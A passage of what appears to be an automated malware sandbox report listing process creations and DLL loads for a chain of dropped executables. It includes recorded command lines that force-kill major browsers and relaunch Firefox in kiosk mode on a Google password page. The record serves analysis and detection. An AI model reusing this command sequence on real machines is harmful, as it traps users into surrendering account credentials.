Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Process created: C:\Users\user\AppData\Local\Temp\1002931001\44f3ff7773.exe "C:\Users\user~1\AppData\Local\Temp\1002931001\44f3ff7773.exe" Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Process created: C:\Users\user\AppData\Local\Temp\1002932001\0322d7d8d5.exe "C:\Users\user~1\AppData\Local\Temp\1002932001\0322d7d8d5.exe" Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Process created: C:\Users\user\AppData\Local\Temp\1002933001\de31db656f.exe "C:\Users\user~1\AppData\Local\Temp\1002933001\de31db656f.exe" Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Process created: C:\Users\user\AppData\Local\Temp\1002934001\num.exe "C:\Users\user~1\AppData\Local\Temp\1002934001\num.exe" Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002933001\de31db656f.exe Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM firefox.exe /T
Source: C:\Users\user\AppData\Local\Temp\1002933001\de31db656f.exe Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM chrome.exe /T
Source: C:\Users\user\AppData\Local\Temp\1002933001\de31db656f.exe Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM msedge.exe /T
Source: C:\Users\user\AppData\Local\Temp\1002933001\de31db656f.exe Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM opera.exe /T
Source: C:\Users\user\AppData\Local\Temp\1002933001\de31db656f.exe Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM brave.exe /T
Source: C:\Users\user\AppData\Local\Temp\1002933001\de31db656f.exe Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk "https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd" --no-default-browser-check --disable-popup-blocking
Source: C:\Program Files\Mozilla Firefox\firefox.exe Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd --no-default-browser-check --disable-popup-blocking
Source: C:\Program Files\Mozilla Firefox\firefox.exe Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=2340 -parentBuildID 20230927232528 -prefsHandle 2276 -prefMapHandle 2268 -prefsLen 25302 -prefMapSize 237879 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {06be5e64-50ce-49f9-b024-2070e7e8a07b} 8036 "\\.\pipe\gecko-crash-server-pipe.8036" 19a5816e710 socket
Source: C:\Users\user\Desktop\file.exe Section loaded: apphelp.dll Jump to behavior
Source: C:\Users\user\Desktop\file.exe Section loaded: winmm.dll Jump to behavior
Source: C:\Users\user\Desktop\file.exe Section loaded: winhttp.dll Jump to behavior
Source: C:\Users\user\Desktop\file.exe Section loaded: ondemandconnroutehelper.dll Jump to behavior
Source: C:\Users\user\Desktop\file.exe Section loaded: webio.dll Jump to behavior
Source: C:\Users\user\Desktop\file.exe Section loaded: mswsock.dll Jump to behavior
Source: C:\Users\user\Desktop\file.exe Section loaded: iphlpapi.dll Jump to behavior
Source: C:\Users\user\Desktop\file.exe Section loaded: winnsi.dll Jump to behavior
Source: C:\Users\user\Desktop\file.exe Section loaded: sspicli.dll Jump to behavior
Source: C:\Users\user\Desktop\file.exe Section loaded: dnsapi.dll Jump to behavior
Source: C:\Users\user\Desktop\file.exe Section loaded: rasadhlp.dll Jump to behavior
Source: C:\Users\user\Desktop\file.exe Section loaded: ondemandconnroutehelper.dll Jump to behavior
Source: C:\Users\user\Desktop\file.exe Section loaded: ondemandconnroutehelper.dll Jump to behavior
Source: C:\Users\user\Desktop\file.exe Section loaded: fwpuclnt.dll Jump to behavior
Source: C:\Users\user\Desktop\file.exe Section loaded: schannel.dll Jump to behavior
Source: C:\Users\user\Desktop\file.exe Section loaded: mskeyprotect.dll Jump to behavior
Source: C:\Users\user\Desktop\file.exe Section loaded: ntasn1.dll Jump to behavior
Source: C:\Users\user\Desktop\file.exe Section loaded: ncrypt.dll Jump to behavior
Source: C:\Users\user\Desktop\file.exe Section loaded: ncryptsslp.dll Jump to behavior
Source: C:\Users\user\Desktop\file.exe Section loaded: msasn1.dll Jump to behavior
Source: C:\Users\user\Desktop\file.exe Section loaded: cryptsp.dll Jump to behavior
Source: C:\Users\user\Desktop\file.exe Section loaded: rsaenh.dll Jump to behavior
Source: C:\Users\user\Desktop\file.exe Section loaded: cryptbase.dll Jump to behavior
Source: C:\Users\user\Desktop\file.exe Section loaded: gpapi.dll Jump to behavior
Source: C:\Users\user\Desktop\file.exe Section loaded: dpapi.dll Jump to behavior
Source: C:\Users\user\Desktop\file.exe Section loaded: kernel.appcore.dll Jump to behavior
Source: C:\Users\user\Desktop\file.exe Section loaded: uxtheme.dll Jump to behavior
Source: C:\Users\user\Desktop\file.exe Section loaded: wbemcomn.dll Jump to behavior
Source: C:\Users\user\Desktop\file.exe Section loaded: amsi.dll Jump to behavior
Source: C:\Users\user\Desktop\file.exe Section loaded: userenv.dll Jump to behavior
Source: C:\Users\user\Desktop\file.exe Section loaded: profapi.dll Jump to behavior
Source: C:\Users\user\Desktop\file.exe Section loaded: version.dll Jump to behavior
Source: C:\Users\user\Desktop\file.exe Section loaded: ondemandconnroutehelper.dll Jump to behavior
Source: C:\Users\user\Desktop\file.exe Section loaded: ondemandconnroutehelper.dll Jump to behavior
Source: C:\Users\user\Desktop\file.exe Section loaded: ondemandconnroutehelper.dll Jump to behavior
Source: C:\Users\user\Desktop\file.exe Section loaded: ondemandconnroutehelper.dll Jump to behavior
Source: C:\Users\user\Desktop\file.exe Section loaded: ondemandconnroutehelper.dll Jump to behavior
Source: C:\Users\user\Desktop\file.exe Section loaded: ondemandconnroutehelper.dll Jump to behavior
Source: C:\Users\user\Desktop\file.exe Section loaded: ondemandconnroutehelper.dll Jump to behavior
Source: C:\Users\user\Desktop\file.exe Section loaded: ondemandconnroutehelper.dll Jump to behavior
Source: C:\Users\user\Desktop\file.exe Section loaded: ondemandconnroutehelper.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\P5M7OMAD8UMQJG5VVBHI33FJBO23OJ.exe Section loaded: apphelp.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\P5M7OMAD8UMQJG5VVBHI33FJBO23OJ.exe Section loaded: winmm.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\P5M7OMAD8UMQJG5VVBHI33FJBO23OJ.exe Section loaded: windows.storage.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\P5M7OMAD8UMQJG5VVBHI33FJBO23OJ.exe Section loaded: wldp.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\P5M7OMAD8UMQJG5VVBHI33FJBO23OJ.exe Section loaded: mscoree.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\P5M7OMAD8UMQJG5VVBHI33FJBO23OJ.exe Section loaded: kernel.appcore.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\P5M7OMAD8UMQJG5VVBHI33FJBO23OJ.exe Section loaded: version.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\P5M7OMAD8UMQJG5VVBHI33FJBO23OJ.exe Section loaded: vcruntime140_clr0400.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\P5M7OMAD8UMQJG5VVBHI33FJBO23OJ.exe Section loaded: ucrtbase_clr0400.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\P5M7OMAD8UMQJG5VVBHI33FJBO23OJ.exe Section loaded: ucrtbase_clr0400.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\P5M7OMAD8UMQJG5VVBHI33FJBO23OJ.exe Section loaded: sspicli.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\OXQ7QUWHYS3G7KHDRA2.exe Section loaded: apphelp.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\OXQ7QUWHYS3G7KHDRA2.exe Section loaded: winmm.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\OXQ7QUWHYS3G7KHDRA2.exe Section loaded: wininet.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\OXQ7QUWHYS3G7KHDRA2.exe Section loaded: sspicli.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\OXQ7QUWHYS3G7KHDRA2.exe Section loaded: kernel.appcore.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\OXQ7QUWHYS3G7KHDRA2.exe Section loaded: uxtheme.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\OXQ7QUWHYS3G7KHDRA2.exe Section loaded: mstask.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\OXQ7QUWHYS3G7KHDRA2.exe Section loaded: windows.storage.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\OXQ7QUWHYS3G7KHDRA2.exe Section loaded: wldp.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\OXQ7QUWHYS3G7KHDRA2.exe Section loaded: mpr.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\OXQ7QUWHYS3G7KHDRA2.exe Section loaded: dui70.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\OXQ7QUWHYS3G7KHDRA2.exe Section loaded: duser.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\OXQ7QUWHYS3G7KHDRA2.exe Section loaded: chartv.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\OXQ7QUWHYS3G7KHDRA2.exe Section loaded: onecoreuapcommonproxystub.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\OXQ7QUWHYS3G7KHDRA2.exe Section loaded: oleacc.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\OXQ7QUWHYS3G7KHDRA2.exe Section loaded: atlthunk.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\OXQ7QUWHYS3G7KHDRA2.exe Section loaded: textinputframework.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\OXQ7QUWHYS3G7KHDRA2.exe Section loaded: coreuicomponents.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\OXQ7QUWHYS3G7KHDRA2.exe Section loaded: coremessaging.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\OXQ7QUWHYS3G7KHDRA2.exe Section loaded: ntmarta.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\OXQ7QUWHYS3G7KHDRA2.exe Section loaded: coremessaging.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\OXQ7QUWHYS3G7KHDRA2.exe Section loaded: wintypes.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\OXQ7QUWHYS3G7KHDRA2.exe Section loaded: wintypes.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\OXQ7QUWHYS3G7KHDRA2.exe Section loaded: wintypes.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\OXQ7QUWHYS3G7KHDRA2.exe Section loaded: wtsapi32.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\OXQ7QUWHYS3G7KHDRA2.exe Section loaded: winsta.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\OXQ7QUWHYS3G7KHDRA2.exe Section loaded: textshaping.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\OXQ7QUWHYS3G7KHDRA2.exe Section loaded: propsys.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\OXQ7QUWHYS3G7KHDRA2.exe Section loaded: windows.staterepositoryps.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\OXQ7QUWHYS3G7KHDRA2.exe Section loaded: windows.fileexplorer.common.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\OXQ7QUWHYS3G7KHDRA2.exe Section loaded: iertutil.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\OXQ7QUWHYS3G7KHDRA2.exe Section loaded: profapi.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\OXQ7QUWHYS3G7KHDRA2.exe Section loaded: explorerframe.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\OXQ7QUWHYS3G7KHDRA2.exe Section loaded: edputil.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\OXQ7QUWHYS3G7KHDRA2.exe Section loaded: urlmon.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\OXQ7QUWHYS3G7KHDRA2.exe Section loaded: srvcli.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\OXQ7QUWHYS3G7KHDRA2.exe Section loaded: netutils.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\OXQ7QUWHYS3G7KHDRA2.exe Section loaded: appresolver.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\OXQ7QUWHYS3G7KHDRA2.exe Section loaded: bcp47langs.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\OXQ7QUWHYS3G7KHDRA2.exe Section loaded: slc.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\OXQ7QUWHYS3G7KHDRA2.exe Section loaded: userenv.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\OXQ7QUWHYS3G7KHDRA2.exe Section loaded: sppc.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\OXQ7QUWHYS3G7KHDRA2.exe Section loaded: onecorecommonproxystub.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Section loaded: apphelp.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Section loaded: winmm.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Section loaded: wininet.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Section loaded: kernel.appcore.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Section loaded: winmm.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Section loaded: wininet.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Section loaded: sspicli.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Section loaded: iertutil.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Section loaded: windows.storage.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Section loaded: wldp.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Section loaded: profapi.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Section loaded: kernel.appcore.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Section loaded: ondemandconnroutehelper.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Section loaded: winhttp.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Section loaded: mswsock.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Section loaded: iphlpapi.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Section loaded: winnsi.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Section loaded: urlmon.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Section loaded: srvcli.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Section loaded: netutils.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Section loaded: uxtheme.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Section loaded: propsys.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Section loaded: edputil.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Section loaded: windows.staterepositoryps.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Section loaded: wintypes.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Section loaded: appresolver.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Section loaded: bcp47langs.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Section loaded: slc.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Section loaded: userenv.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Section loaded: sppc.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Section loaded: onecorecommonproxystub.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Section loaded: onecoreuapcommonproxystub.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Section loaded: apphelp.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002930001\XC.exe Section loaded: mscoree.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002930001\XC.exe Section loaded: apphelp.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002930001\XC.exe Section loaded: kernel.appcore.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002930001\XC.exe Section loaded: version.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002930001\XC.exe Section loaded: vcruntime140_clr0400.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002930001\XC.exe Section loaded: ucrtbase_clr0400.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002930001\XC.exe Section loaded: ucrtbase_clr0400.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002930001\XC.exe Section loaded: uxtheme.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002930001\XC.exe Section loaded: sspicli.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002930001\XC.exe Section loaded: cryptsp.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002930001\XC.exe Section loaded: rsaenh.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002930001\XC.exe Section loaded: cryptbase.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002930001\XC.exe Section loaded: windows.storage.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002930001\XC.exe Section loaded: wldp.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002930001\XC.exe Section loaded: sxs.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002930001\XC.exe Section loaded: mpr.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002930001\XC.exe Section loaded: scrrun.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002930001\XC.exe Section loaded: propsys.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002930001\XC.exe Section loaded: profapi.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002930001\XC.exe Section loaded: linkinfo.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002930001\XC.exe Section loaded: ntshrui.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002930001\XC.exe Section loaded: srvcli.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002930001\XC.exe Section loaded: cscapi.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002930001\XC.exe Section loaded: mswsock.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002930001\XC.exe Section loaded: wbemcomn.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002930001\XC.exe Section loaded: amsi.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002930001\XC.exe Section loaded: userenv.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002930001\XC.exe Section loaded: avicap32.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002930001\XC.exe Section loaded: msvfw32.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002930001\XC.exe Section loaded: winmm.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002931001\44f3ff7773.exe Section loaded: apphelp.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002931001\44f3ff7773.exe Section loaded: winmm.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002931001\44f3ff7773.exe Section loaded: winhttp.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002931001\44f3ff7773.exe Section loaded: ondemandconnroutehelper.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002931001\44f3ff7773.exe Section loaded: webio.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002931001\44f3ff7773.exe Section loaded: mswsock.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002931001\44f3ff7773.exe Section loaded: iphlpapi.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002931001\44f3ff7773.exe Section loaded: winnsi.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002931001\44f3ff7773.exe Section loaded: sspicli.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002931001\44f3ff7773.exe Section loaded: dnsapi.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002931001\44f3ff7773.exe Section loaded: rasadhlp.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002931001\44f3ff7773.exe Section loaded: fwpuclnt.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002931001\44f3ff7773.exe Section loaded: schannel.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002931001\44f3ff7773.exe Section loaded: mskeyprotect.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002931001\44f3ff7773.exe Section loaded: ntasn1.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002931001\44f3ff7773.exe Section loaded: ncrypt.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002931001\44f3ff7773.exe Section loaded: ncryptsslp.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002931001\44f3ff7773.exe Section loaded: msasn1.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002931001\44f3ff7773.exe Section loaded: cryptsp.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002931001\44f3ff7773.exe Section loaded: rsaenh.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002931001\44f3ff7773.exe Section loaded: cryptbase.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002931001\44f3ff7773.exe Section loaded: gpapi.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002931001\44f3ff7773.exe Section loaded: kernel.appcore.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002931001\44f3ff7773.exe Section loaded: uxtheme.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002931001\44f3ff7773.exe Section loaded: dpapi.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002931001\44f3ff7773.exe Section loaded: wbemcomn.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002931001\44f3ff7773.exe Section loaded: amsi.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002931001\44f3ff7773.exe Section loaded: userenv.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002931001\44f3ff7773.exe Section loaded: profapi.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002931001\44f3ff7773.exe Section loaded: version.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002931001\44f3ff7773.exe Section loaded: ondemandconnroutehelper.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002931001\44f3ff7773.exe Section loaded: ondemandconnroutehelper.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002931001\44f3ff7773.exe Section loaded: ondemandconnroutehelper.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002931001\44f3ff7773.exe Section loaded: ondemandconnroutehelper.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002931001\44f3ff7773.exe Section loaded: ondemandconnroutehelper.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002931001\44f3ff7773.exe Section loaded: ondemandconnroutehelper.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002931001\44f3ff7773.exe Section loaded: ondemandconnroutehelper.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002932001\0322d7d8d5.exe Section loaded: apphelp.dll
Source: C:\Users\user\AppData\Local\Temp\1002932001\0322d7d8d5.exe Section loaded: winmm.dll
Source: C:\Users\user\AppData\Local\Temp\1002932001\0322d7d8d5.exe Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Local\Temp\1002932001\0322d7d8d5.exe Section loaded: wininet.dll
Source: C:\Users\user\AppData\Local\Temp\1002932001\0322d7d8d5.exe Section loaded: rstrtmgr.dll
Source: C:\Users\user\AppData\Local\Temp\1002932001\0322d7d8d5.exe Section loaded: ncrypt.dll
Source: C:\Users\user\AppData\Local\Temp\1002932001\0322d7d8d5.exe Section loaded: ntasn1.dll
Source: C:\Users\user\AppData\Local\Temp\1002932001\0322d7d8d5.exe Section loaded: iertutil.dll
Source: C:\Users\user\AppData\Local\Temp\1002932001\0322d7d8d5.exe Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Local\Temp\1002932001\0322d7d8d5.exe Section loaded: wldp.dll
Source: C:\Users\user\AppData\Local\Temp\1002932001\0322d7d8d5.exe Section loaded: profapi.dll
Source: C:\Users\user\AppData\Local\Temp\1002932001\0322d7d8d5.exe Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\1002932001\0322d7d8d5.exe Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1002932001\0322d7d8d5.exe Section loaded: winhttp.dll
Source: C:\Users\user\AppData\Local\Temp\1002932001\0322d7d8d5.exe Section loaded: mswsock.dll
Source: C:\Users\user\AppData\Local\Temp\1002932001\0322d7d8d5.exe Section loaded: iphlpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1002932001\0322d7d8d5.exe Section loaded: winnsi.dll
Source: C:\Users\user\AppData\Local\Temp\1002932001\0322d7d8d5.exe Section loaded: urlmon.dll
Source: C:\Users\user\AppData\Local\Temp\1002932001\0322d7d8d5.exe Section loaded: srvcli.dll
Source: C:\Users\user\AppData\Local\Temp\1002932001\0322d7d8d5.exe Section loaded: netutils.dll
Source: C:\Users\user\XC.exe Section loaded: mscoree.dll
Source: C:\Users\user\XC.exe Section loaded: apphelp.dll
Source: C:\Users\user\XC.exe Section loaded: kernel.appcore.dll
Source: C:\Users\user\XC.exe Section loaded: version.dll
Source: C:\Users\user\XC.exe Section loaded: vcruntime140_clr0400.dll
Source: C:\Users\user\XC.exe Section loaded: ucrtbase_clr0400.dll
Source: C:\Users\user\XC.exe Section loaded: ucrtbase_clr0400.dll
Source: C:\Users\user\XC.exe Section loaded: uxtheme.dll
Source: C:\Users\user\XC.exe Section loaded: sspicli.dll
Source: C:\Users\user\XC.exe Section loaded: cryptsp.dll
Source: C:\Users\user\XC.exe Section loaded: rsaenh.dll
Source: C:\Users\user\XC.exe Section loaded: cryptbase.dll
Source: C:\Users\user\AppData\Local\Temp\1002933001\de31db656f.exe Section loaded: wsock32.dll
Source: C:\Users\user\AppData\Local\Temp\1002933001\de31db656f.exe Section loaded: version.dll
Source: C:\Users\user\AppData\Local\Temp\1002933001\de31db656f.exe Section loaded: winmm.dll
Source: C:\Users\user\AppData\Local\Temp\1002933001\de31db656f.exe Section loaded: mpr.dll
Source: C:\Users\user\AppData\Local\Temp\1002933001\de31db656f.exe Section loaded: wininet.dll
Source: C:\Users\user\AppData\Local\Temp\1002933001\de31db656f.exe Section loaded: iphlpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1002933001\de31db656f.exe Section loaded: userenv.dll
Source: C:\Users\user\AppData\Local\Temp\1002933001\de31db656f.exe Section loaded: uxtheme.dll
Source: C:\Users\user\AppData\Local\Temp\1002933001\de31db656f.exe Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\1002933001\de31db656f.exe Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Local\Temp\1002933001\de31db656f.exe Section loaded: wldp.dll
Source: C:\Windows\SysWOW64\taskkill.exe Section loaded: version.dll
Source: C:\Windows\SysWOW64\taskkill.exe Section loaded: mpr.dll
Source: C:\Windows\SysWOW64\taskkill.exe Section loaded: framedynos.dll
Source: C:\Windows\SysWOW64\taskkill.exe Section loaded: dbghelp.dll
Source: C:\Windows\SysWOW64\taskkill.exe Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe Section loaded: srvcli.dll
Source: C:\Windows\SysWOW64\taskkill.exe Section loaded: netutils.dll
Source: C:\Windows\SysWOW64\taskkill.exe Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe Section loaded: kernel.appcore.dll
Source: C:\Windows\SysWOW64\taskkill.exe Section loaded: wbemcomn.dll
